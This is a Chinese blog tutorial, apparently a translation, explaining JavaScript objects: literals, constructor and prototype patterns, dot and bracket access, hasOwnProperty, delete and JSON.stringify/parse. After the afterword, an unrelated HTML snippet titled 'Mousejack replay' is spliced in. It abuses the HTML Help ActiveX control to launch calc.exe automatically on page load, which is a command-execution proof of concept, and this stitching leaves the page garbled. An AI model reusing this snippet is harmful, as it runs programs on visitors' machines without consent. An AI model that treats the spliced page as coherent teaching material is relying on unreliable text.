详解JavaScript对象类型


Posted in Javascript onJune 16, 2016

JavaScrtip有六种数据类型,一种复杂的数据类型(引用类型),即Object对象类型,还有五种简单的数据类型(原始类型):Number、String、Boolean、Undefined和Null。其中,最核心的类型就是对象类型了。同时要注意,简单类型都是不可变的,而对象类型是可变的。
 什么是对象 
一个对象是一组简单数据类型(有时是引用数据类型)的无序列表,被存储为一系列的名-值对(name-value pairs)。这个列表中的每一项被称为 属性(如果是函数则被称为 方法)。 
下面是一个简单的对象:

var myFirstObject = { 
    firstName: "Richard",
    favoriteAuthor: "Conrad"
  };

可以把对象考虑成一个列表,列表中的每一项(属性或方法)都以名-值对的方式存储。上面例子中,对象的属性名就是firstName和favortieAuthor,相应的,对象的属性值为Richard和Conrad。
 属性名可以是字符串或者数字,但是如果以数字作为属性名,则必须以方括号(方括号记法)来获得这个数字属性名对应的属性值。稍后有方括号记法的更详细解释。下面是一个方括号记法的例子:

var ageGroup = {30: "Children", 100:"Very Old"};
  console.log(ageGroup.30) // 报错
  ​// 访问30这个属性的正确方法
  console.log(ageGroup["30"]); // Children​
  ​
  ​//最好避免使用数字作为属性名

作为一个JavaScript程序员,你会经常使用到对象数据类型。一般用它来储存数据,或者创建自定义的方法或函数。
 引用数据类型和原始数据类型 
引用类型与原始类型最主要的一个不同点就是引用类型是按引用存储的,它不会像原始类型一样,将值直接存储在变量中。比如: 

// 原始类型数据是按值存储的 
  ​var person = "Kobe"; 
  ​var anotherPerson = person; // anotherPerson = the value of person​
  person = "Bryant"; // person的值改变了
  ​
  console.log(anotherPerson); // Kobe​
  console.log(person); // Bryan

可以注意到,即使我们将person的值改为"Bryant",对anthoerPerson也会不有丝毫影响,它仍然保存了原本person赋给它的值。
 将原始类型的按值存储跟引用类型的按引用存储进行一下比较:

var person = {name: "Kobe"};
  ​var anotherPerson = person;
  person.name = "Bryant";
  ​
  console.log(anotherPerson.name); // Bryant​
  console.log(person.name); // Bryant

在这个例子中,我们将person对象复制给了anthoerPerson,但是由于person对象中存储的是引用而不是真正的值。所以当我们将person.name改变为"Bryant"的时候,anotherPerson变量也反应出了这个变化,因为它并没有将person中的所有属性都复制一份保存起来,而是直接保存了对象的引用。

对象属性的特性(Attributes) 

注:Attribute一般也是翻译为属性,但是为了跟Propertie(也翻译为属性)进行区分,这里将其翻译为特性,这也是咨询过别人的,应该无伤大雅
 每个对象属性不止保存了自身的名-值对,它同时还包含了三个特性,这三个特性默认被设置为true。
 •Configurable Attribute: 指定这个对象属性是否可以被删除或修改。
•Enumerable:指定这个对象属性在for-in循环中是否可以被取得。
•Writable:指定这个对象属性是否可以被修改。
 在EMACScript 5中有一些新的特性,这里不做详细讲解。

 创建对象
 创建对象有两种比较常用的方法:
 1.对象字面量
 这是创建对象最常用,也是最简单的方式,直接使用字面量进行创建:

// 空对象
​var myBooks = {};
​
​// 使用字面量创建的包含4个属性的对象
​var mango = {
  color: "yellow",
  shape: "round",
  sweetness: 8,
​
​  howSweetAmI: function () {
    console.log("Hmm Hmm Good");
  }
}

2.对象构造函数
 第二种常用的方法是使用对象构造函数。构造函数是一种可以用来创建新对象的特殊函数,要使用new关键字来调用构造函数。 

var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
​
mango.howSweetAmI = function () {
  console.log("Hmm Hmm Good");
}

虽然可以使用某些保留字或关键字,比如for作为对象属性的名称,不过这可不是一个明智的选择。
 对象的属性可以包含任何数据类型,包括Number,Arrays,甚至是其它的Object。
 对象创建的实践模式
 对于创建只使用一次的用于存储数据的简单对象,上面的两种方法就可以满足需求。 
但是,假设有一个程序用于展示水果和它的详细信息。程序中的每个水果类型都有如下对象属性:color, shape, sweetness, cost 和一个showName函数。要是每次创建一个新的水果对象时,都得敲一遍下面的代码,那将是十分乏味和低效率的。

var mangoFruit = {
    color: "yellow",
    sweetness: 8,
    fruitName: "Mango",
    nativeToLand: ["South America", "Central America"],
  ​
    ​showName: function () {
      console.log("This is " + this.fruitName);
    },
    ​nativeTo: function () {
      this.nativeToLand.forEach(function (eachCountry) {
        console.log("Grown in:" + eachCountry);
      });
    }
  }

如果你有10个水果,你就得添加10次相同的代码。并且,如果想修改nativeTo函数,就得在10个不同的地方进行修改。再进一步推想,如果你在开发一个大型网站,你为上面的对象都一个一个添加了属性。但是,你突然发现你创建对象的方式不是很理想,你想要进行修改,这时又该怎么办。
 为了解决这些重复性的问题,软件工程师们发明了各种模式(对于重复问题和常见任务的解决方案),使用开发程序更有效率和合理化。
 下面是两种创建对象的常用模式:
 1.构造方法模式

function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
  this.color = theColor;
  this.sweetness = theSweetness;
  this.fruitName = theFruitName;
  this.nativeToLand = theNativeToLand;

  this.showName = function () {
    console.log("This is a " + this.fruitName);
  }

  this.nativeTo = function () {
    this.nativeToLand.forEach(function (eachCountry) {
      console.log("Grown in:" + eachCountry);
    });
  }
}

使用这种模式,很容易就可以创建出各式各样的水果来。像这样:

var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.​
mangoFruit.nativeTo();
​//Grown in:South America​
​// Grown in:Central America​
​// Grown in:West Africa​

​var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple.

如果你要改变属性或方法,你只需要在一个地方进行修改就可以了。这个模式通过一个Fruit函数的继承,封装了所有水果的功能和特性。
 注意:
 ◦可继承的属性需要定义在对象的prototype对象属性上。比如
 someObject.prototype.firstName = "rich";
◦属于自身的属性要直接定义在对象的上。比如:

// 首先,创建一个对象
var aMango = new Fruit ();
// 接着,直接在对象上定义mongoSpice方法
// 因为我们直接在对象身上定义了mangoSpice属性,所以它是aMango自身的属性,不是一个可继承的属性
aMango.mangoSpice = “some value”;

◦要访问一个对象的属性,使用object.property,如:
 console.log(aMango.mangoSpice); // "some value"
◦要调用一个对象的方法,使用object.method(),如:

// 首先,增加一个方法
aMango.printStuff = function() { return "Printing"; }

// 现在,可以调用printStuff方法
aMango.printStuff();

2.原型模式

function Fruit () {
}

Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";

Fruit.prototype.showName = function () {
  console.log("This is a " + this.fruitName);
}

Fruit.prototype.nativeTo = function () {
  console.log("Grown in:" + this.nativeToLand);
}

下面是在原型模式中调用Fruit()构造函数的方法:

var mangoFruit = new Fruit ();
mangoFruit.showName(); //​
mangoFruit.nativeTo();
​// This is a Generic Fruit​
​// Grown in:USA

扩展阅读
 如果需要了解这两种模式的更详细的解释,可以阅读《JavaScript高级程序设计》的第六章,其中详细讨论了这两种方法的优缺点。书中还讨论了除这两个外的其它模式。 
如何访问对象中的属性 
访问对象属性的两种主要方法是点记法(dot notation)和中括号记法(bracket notation)。
 1.点记法

// 这是我们前面例子中一直使用的访问属性的方法
​var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
​
​// 使用点记法访问book对象的title和pages属性:​
console.log ( book.title); // Ways to Go​
console.log ( book.pages); // 280

2.中括号记法

// 使用方括号启示访问book对象的属性:
console.log ( book["title"]); //Ways to Go​
console.log ( book["pages"]); // 280​
​
​//如果属性名储存在一个变量当中,也可以这样:​
​var bookTitle = "title";
console.log ( book[bookTitle]); // Ways to Go​
console.log (book["bookMark" + 1]); // Page 20

访问一个对象中不存在的属性会得到一个undefined。

自身属性和继承属性 
对象拥有自身属性和继承属性。自身属性是直接定义在对象上的属性,而继承属性是从Object的Prototype继承的属性。
 为了确写一个对象是否拥有某个属性(不管是自身属性还是继承属性),可以使用in操作符:

// 创建一个有schoolName属性的对象
  var school = {schoolName:"MIT"};

  ​// 打印出true,因为对象拥有schoolName这个属性
  console.log("schoolName" in school); // true​
  ​
  ​// 打印出false,因为我们既没有定义schoolType属性,也没有从Object的Prototype中继承schoolType属性
  console.log("schoolType" in school); // false​
   
  ​// 打印出true, 因为从Object的Prototype中继承了toString方法
  console.log("toString" in school); // true

hasOwnProperty
 为了确定一个对象是否拥有一个特定的自身属性,可以使用hasOwnPrototype方法。这个方法十分有用,因为我们经常需要枚举一个对象的所有自身属性,而不是继承属性。

// 创建一个拥有schoolName属性的对象
  ​var school = {schoolName:"MIT"};
  ​
  ​// 打印出true,因为schooName是school的自身属性
  console.log(school.hasOwnProperty ("schoolName")); // true​
   
  ​// 打印出false,因为toString是从Object的Prototype中继承下来的,并且school的自身属性
  console.log(school.hasOwnProperty ("toString")); // false

访问和枚举对象中的属性
 为了访问对象中可以枚举的属性(自身或者继承的),可以使用for-in循环或普通的循环方式。

// 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.​
  ​var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
  ​
  ​//使用for-in循环获取对象中的属性
  ​for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }

访问继承的属性
 从Object的Prototype中继承的属性不可枚举的,所以在for-in循环中不会访问到这些属性。然而,如果是可枚举的继承属性,它们也是能够从for-in循环中访问到的。
 比如:

//使用for-in循环访问school对象中的属性
  for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }


  // 注:以下这段说明是原文的说明
  /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
  */​

  // Create a new HigherLearning function that the school object will inherit from.​

  function HigherLearning () {
    this.educationLevel = "University";
  }

  // Implement inheritance with the HigherLearning constructor​
  var school = new HigherLearning ();
  school.schoolName = "MIT";
  school.schoolAccredited = true;
  school.schoolLocation = "Massachusetts";

  //Use of the for/in loop to access the properties in the school object​
  for (var eachItem in school) {
    console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation​
  }

删除对象中的属性
 可以使用delete操作符来删除对象中的属性。我们不能删除继承的属性,同时也不能删除Configurable特性被设置为false的对象属性。要删除继承的属性,必须从Prototype对象中删除(也就是定义这些属性的地方)。并且,我们也不能删除全局对象中的属性。
 删除成功的时候,delete操作符会返回true。令人意外的是,当要删除的属性不存在,或者不能被删除(即不是自身的属性或者Configurable特性被设置为false)时, delete操作符也会返回true。
 以下是示例:
  

var christmasList = {mike:"Book", jason:"sweater" }
  delete christmasList.mike; // deletes the mike property​

  for (var people in christmasList) {
    console.log(people);
  }
  // Prints only jason​
  // The mike property was deleted​

  delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性,所以它不会被删除

  // 因为toString没有被删除,所以这里还能够正常使用
  christmasList.toString(); //"[object Object]"​

  // 如果一个属性是对象实例的自身属性,则我们可以删除它。
  // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性,
  // 因为educationLevel是定义在那个实例中的:我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
  //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

  console.log(school.hasOwnProperty("educationLevel")); // true​
  // educationLevel是一个school对象的一个自身属性,所以 我们可以删除它​
  delete school.educationLevel; // true

  // educationLevel属性已经从school实例中删除了
  console.log(school.educationLevel); // undefined

  // 但是educationLevel属性仍然存在于HigherLearning函数中
  var newSchool = new HigherLearning ();
  console.log(newSchool.educationLevel); // University​

  // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:​
  HigherLearning.prototype.educationLevel2 = "University 2";

  // 这个educationLevel2属性不属性HigherLearning实例的自身属性

  // educationLevel2属性不是school实例的自身属性​
  console.log(school.hasOwnProperty("educationLevel2")); false​
  console.log(school.educationLevel2); // University 2​

  // 尝试删除继承的educationLevel2属性​
  delete school.educationLevel2; // true (正如前面所提到的,这个表达式会返回true)

  // 继承的educationLevel2属性没有被删除
  console.log(school.educationLevel2); University 2​

序列化和反序列化对象
 为了在HTTP中传递对象或者将对象转化成字符串,我们必须将对象序列化(将其转化为字符串)。我们可以使用JSON.stringify来序列化对象。要注意的是,在ECMAScript 5之前的版本,我们要使用json2库来获得JSON.stringify函数。在ECMAScript 5中,这个函数已经成为标准函数。
 为了将反序列化对象(即,将字符串转化成对象),可以使用JSON.parse函数来完成。同样,在第5版之前要从json2库中获取这个函数,在第5版中已经加入这个标准函数。
 示例代码:
   

var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
  JSON.stringify (christmasList);
  // Prints this string:​
  // "{"mike":"Book","jason":"sweater","chels":"iPad"}"

  // To print a stringified object with formatting, add "null" and "4" as parameters:​
  JSON.stringify (christmasList, null, 4);
  // "{
  //   "mike": "Book",
  //   "jason": "sweater",
  //   "chels": "iPad"​
  // }"

  // JSON.parse Examples
  // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)​
  var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';

  // Let's convert it to an object​
  var christmasListObj = JSON.parse (christmasListStr);

  // Now that it is an object, we use dot notation​
  console.log(christmasListObj.mike); // Book

更多关于JavaScript对象的讨论和解释,以及ECMAScript第5版增加的内容,可以参考《JavaScript权威指南(第6版)》第六章。

后记 
第一次翻译文章,真心觉得要把翻译做好也不是那么简单的,很多简单的句子看着很明白,结果真正想翻译出来的时候,却是死活想不出合适的表达方式。通篇文章都是根据我自己的理解,然后通过意译出来的,没有逐句进行翻译。所以,如果有哪些地方理解有偏差,或者翻译不当的地方,请尽量指出,我会尽快改正。毕竟翻译这往篇文章也是想跟大家分享,我不希望因为自己理解的错误,导致对大家产生误导。 
就酱,收工。

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
 
command exec
 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
 
<PARAM name="Command" value="ShortCut">
 
 <PARAM name="Button" value="Bitmap::shortcut">
 
 <PARAM name="Item1" value=',calc.exe'>
 
 <PARAM name="Item2" value="273,1,1">
 
</OBJECT>
 
<SCRIPT>
 
x.Click();
 
</SCRIPT>
 
</body></html>

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Javascript 相关文章推荐
Javascript倒计时代码
Aug 12 Javascript
ExtJs事件机制基本代码模型和流程解析
Oct 24 Javascript
基于jquery实现的一个选择中国大学的弹框 (数据、步骤、代码)
Jul 26 Javascript
jQuery中delegate与on的用法与区别示例介绍
Dec 20 Javascript
JS数组去重与取重的示例代码
Jan 24 Javascript
JavaScript入门教程之引用类型
May 04 Javascript
Angular模板表单校验方法详解
Aug 11 Javascript
利用vue + koa2 + mockjs模拟数据的方法教程
Nov 22 Javascript
vue中接口域名配置为全局变量的实现方法
Sep 20 Javascript
js删除对象/数组中null、undefined、空对象及空数组方法示例
Nov 14 Javascript
JS Html转义和反转义(html编码和解码)的实现与使用方法总结
Mar 10 Javascript
Vue实现省市区三级联动
Dec 27 Vue.js
jQuery on()方法绑定动态元素的点击事件实例代码浅析
Jun 16 #Javascript
jQuery页面元素动态添加后绑定事件丢失方法,非 live
Jun 16 #Javascript
JSON字符串和对象相互转换实例分析
Jun 16 #Javascript
jQuery的层级查找方式分析
Jun 16 #Javascript
jQuery实现响应鼠标事件的图片透明效果【附demo源码下载】
Jun 16 #Javascript
JS中sort函数排序用法实例分析
Jun 16 #Javascript
JS原型对象的创建方法详解
Jun 16 #Javascript
You might like
在PHP程序中使用Rust扩展的方法
2015/07/03 PHP
PHP常见漏洞攻击分析
2016/02/21 PHP
yii2.0数据库迁移教程【多个数据库同时同步数据】
2016/10/08 PHP
PHP中list方法用法示例
2016/12/01 PHP
Yii1.1中通过Sql查询进行的分页操作方法
2017/03/16 PHP
php根据命令行参数生成配置文件详解
2019/03/15 PHP
jQuery 创建Dom元素
2010/05/07 Javascript
juqery 学习之三 选择器 简单 内容
2010/11/25 Javascript
js跳转页面方法总结
2014/01/29 Javascript
ListBox实现上移,下移,左移,右移的简单实例
2014/02/13 Javascript
分享28款免费实用的 JQuery 图片和内容滑块插件
2014/12/15 Javascript
Javascript中With语句用法实例
2015/05/14 Javascript
js实现创建删除html元素小结
2015/09/30 Javascript
jQuery插件formValidator自定义函数扩展功能实例详解
2015/11/25 Javascript
详解javascript事件冒泡
2016/01/09 Javascript
jquery点击切换背景色的简单实例
2016/08/25 Javascript
纯js实现html转pdf的简单实例(推荐)
2017/02/16 Javascript
js实现返回顶部效果
2017/03/10 Javascript
原生js简单实现放大镜特效
2017/05/16 Javascript
详解React-Native解决键盘遮挡问题(Keyboard遮挡问题)
2017/07/13 Javascript
Node.js API详解之 net模块实例分析
2020/05/18 Javascript
vant picker+popup 自定义三级联动案例
2020/11/04 Javascript
你不知道的SpringBoot与Vue部署解决方案
2020/11/09 Javascript
详解Python多线程Selenium跨浏览器测试
2017/04/01 Python
Python 12306抢火车票脚本 Python京东抢手机脚本
2018/02/06 Python
Python中Numpy包的安装与使用方法简明教程
2018/07/03 Python
Python拼接微信好友头像大图的实现方法
2018/08/01 Python
python处理DICOM并计算三维模型体积
2019/02/26 Python
详解如何管理多个Python版本和虚拟环境
2019/05/10 Python
如何使用PyCharm引入需要使用的包的方法
2020/09/22 Python
html5的canvas元素使用方法介绍(画矩形、画折线、圆形)
2014/04/14 HTML / CSS
关于HTML5+ API plusready的兼容问题
2020/11/20 HTML / CSS
斯洛伐克时尚服装网上商店:Cellbes
2016/10/20 全球购物
新西兰最大的品牌运动鞋购物网站:Platypus NZ
2017/10/27 全球购物
2014年教学管理工作总结
2014/12/02 职场文书
一文简单了解MySQL前缀索引
2022/04/03 MySQL